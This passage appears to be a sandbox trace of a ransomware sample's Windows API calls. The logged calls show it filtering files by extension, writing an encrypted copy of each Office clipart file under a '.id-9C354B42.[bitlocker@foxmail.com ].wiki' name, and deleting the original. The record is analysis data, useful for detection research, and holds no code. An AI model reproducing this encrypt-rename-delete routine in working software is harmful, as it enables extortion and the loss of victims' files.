Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0061.323] lstrlenW (lpString=".1cd") returned 4 [0061.323] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0061.324] lstrlenW (lpString=".jpg") returned 4 [0061.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0061.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0061.324] lstrlenW (lpString=".doc") returned 4 [0061.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.324] lstrlenW (lpString=".docx") returned 5 [0061.324] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.324] lstrlenW (lpString=".pdf") returned 4 [0061.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.324] lstrlenW (lpString=".xls") returned 4 [0061.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.324] lstrlenW (lpString=".xlsx") returned 5 [0061.324] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.324] lstrlenW (lpString=".ppt") returned 4 [0061.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0061.324] lstrlenW (lpString=".zip") returned 4 [0061.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.324] lstrlenW (lpString=".rar") returned 4 [0061.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.324] lstrlenW (lpString=".bz2") returned 4 [0061.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.324] lstrlenW (lpString=".7z") returned 3 [0061.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0061.324] lstrlenW (lpString=".dbf") returned 4 [0061.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0061.325] lstrlenW (lpString=".1cd") returned 4 [0061.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0061.325] lstrlenW (lpString=".jpg") returned 4 [0061.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.325] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.325] lstrlenW (lpString="AN04195_.WMF") returned 12 [0061.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.325] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4612) returned 1 [0061.325] CloseHandle (hObject=0x1f0) returned 1 [0061.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0061.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.325] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.326] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0061.326] GetLastError () returned 0x0 [0061.326] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x1204, lpOverlapped=0x0) returned 1 [0061.327] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x1210, lpOverlapped=0x0) returned 1 [0061.328] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.328] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.328] SetEndOfFile (hFile=0x1e8) returned 1 [0061.328] CloseHandle (hObject=0x1e8) returned 1 [0061.328] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.328] SetEndOfFile (hFile=0x1f0) returned 1 [0061.329] CloseHandle (hObject=0x1f0) returned 1 [0061.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0061.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0061.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0061.330] lstrlenW (lpString=".doc") returned 4 [0061.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.330] lstrlenW (lpString=".docx") returned 5 [0061.330] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.330] lstrlenW (lpString=".pdf") returned 4 [0061.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.330] lstrlenW (lpString=".xls") returned 4 [0061.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.330] lstrlenW (lpString=".xlsx") returned 5 [0061.330] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.330] lstrlenW (lpString=".ppt") returned 4 [0061.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0061.330] lstrlenW (lpString=".zip") returned 4 [0061.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.330] lstrlenW (lpString=".rar") returned 4 [0061.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.330] lstrlenW (lpString=".bz2") returned 4 [0061.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.330] lstrlenW (lpString=".7z") returned 3 [0061.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0061.330] lstrlenW (lpString=".dbf") returned 4 [0061.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0061.330] lstrlenW (lpString=".1cd") returned 4 [0061.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0061.330] lstrlenW (lpString=".jpg") returned 4 [0061.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0061.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0061.330] lstrlenW (lpString=".doc") returned 4 [0061.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.330] lstrlenW (lpString=".docx") returned 5 [0061.330] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.330] lstrlenW (lpString=".pdf") returned 4 [0061.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.331] lstrlenW (lpString=".xls") returned 4 [0061.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.331] lstrlenW (lpString=".xlsx") returned 5 [0061.331] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.331] lstrlenW (lpString=".ppt") returned 4 [0061.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0061.331] lstrlenW (lpString=".zip") returned 4 [0061.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.331] lstrlenW (lpString=".rar") returned 4 [0061.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.331] lstrlenW (lpString=".bz2") returned 4 [0061.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.331] lstrlenW (lpString=".7z") returned 3 [0061.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0061.331] lstrlenW (lpString=".dbf") returned 4 [0061.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0061.331] lstrlenW (lpString=".1cd") returned 4 [0061.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0061.331] lstrlenW (lpString=".jpg") returned 4 [0061.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.331] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.331] lstrlenW (lpString="AN04196_.WMF") returned 12 [0061.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.332] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3144) returned 1 [0061.332] CloseHandle (hObject=0x1f0) returned 1 [0061.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0061.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.332] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.332] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0061.332] GetLastError () returned 0x0 [0061.332] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0xc48, lpOverlapped=0x0) returned 1 [0061.334] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xc50, lpOverlapped=0x0) returned 1 [0061.335] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.335] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.335] SetEndOfFile (hFile=0x1e8) returned 1 [0061.335] CloseHandle (hObject=0x1e8) returned 1 [0061.335] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.335] SetEndOfFile (hFile=0x1f0) returned 1 [0061.336] CloseHandle (hObject=0x1f0) returned 1 [0061.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.336] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0061.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0061.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0061.336] lstrlenW (lpString=".doc") returned 4 [0061.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.336] lstrlenW (lpString=".docx") returned 5 [0061.336] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.336] lstrlenW (lpString=".pdf") returned 4 [0061.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.336] lstrlenW (lpString=".xls") returned 4 [0061.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.336] lstrlenW (lpString=".xlsx") returned 5 [0061.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.336] lstrlenW (lpString=".ppt") returned 4 [0061.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0061.337] lstrlenW (lpString=".zip") returned 4 [0061.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.337] lstrlenW (lpString=".rar") returned 4 [0061.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.337] lstrlenW (lpString=".bz2") returned 4 [0061.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.337] lstrlenW (lpString=".7z") returned 3 [0061.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0061.337] lstrlenW (lpString=".dbf") returned 4 [0061.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0061.337] lstrlenW (lpString=".1cd") returned 4 [0061.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0061.337] lstrlenW (lpString=".jpg") returned 4 [0061.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0061.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0061.337] lstrlenW (lpString=".doc") returned 4 [0061.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.337] lstrlenW (lpString=".docx") returned 5 [0061.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.337] lstrlenW (lpString=".pdf") returned 4 [0061.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.337] lstrlenW (lpString=".xls") returned 4 [0061.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.337] lstrlenW (lpString=".xlsx") returned 5 [0061.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.337] lstrlenW (lpString=".ppt") returned 4 [0061.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0061.337] lstrlenW (lpString=".zip") returned 4 [0061.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.337] lstrlenW (lpString=".rar") returned 4 [0061.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.338] lstrlenW (lpString=".bz2") returned 4 [0061.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.338] lstrlenW (lpString=".7z") returned 3 [0061.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0061.338] lstrlenW (lpString=".dbf") returned 4 [0061.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0061.338] lstrlenW (lpString=".1cd") returned 4 [0061.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0061.338] lstrlenW (lpString=".jpg") returned 4 [0061.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.338] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0061.338] lstrlenW (lpString="AN04206_.WMF") returned 12 [0061.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.339] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=7668) returned 1 [0061.339] CloseHandle (hObject=0x1f0) returned 1 [0061.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20 [0061.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0061.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0061.339] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.339] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0061.339] GetLastError () returned 0x0 [0061.339] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x1df4, lpOverlapped=0x0) returned 1 [0061.341] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x1e00, lpOverlapped=0x0) returned 1 [0061.342] ReadFile (in: hFile=0x1f0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.342] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.342] SetEndOfFile (hFile=0x1e8) returned 1 [0061.342] CloseHandle (hObject=0x1e8) returned 1 [0061.342] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.342] SetEndOfFile (hFile=0x1f0) returned 1 [0061.343] CloseHandle (hObject=0x1f0) returned 1 [0061.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0061.343] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0061.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0061.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0061.343] lstrlenW (lpString=".doc") returned 4 [0061.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.344] lstrlenW (lpString=".docx") returned 5 [0061.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.344] lstrlenW (lpString=".pdf") returned 4 [0061.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.344] lstrlenW (lpString=".xls") returned 4 [0061.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.344] lstrlenW (lpString=".xlsx") returned 5 [0061.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.344] lstrlenW (lpString=".ppt") returned 4 [0061.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0061.344] lstrlenW (lpString=".zip") returned 4 [0061.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.344] lstrlenW (lpString=".rar") returned 4 [0061.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.344] lstrlenW (lpString=".bz2") returned 4 [0061.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.344] lstrlenW (lpString=".7z") returned 3 [0061.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0061.344] lstrlenW (lpString=".dbf") returned 4 [0061.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0061.344] lstrlenW (lpString=".1cd") returned 4 [0061.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0061.344] lstrlenW (lpString=".jpg") returned 4 [0061.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 [0061.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 63 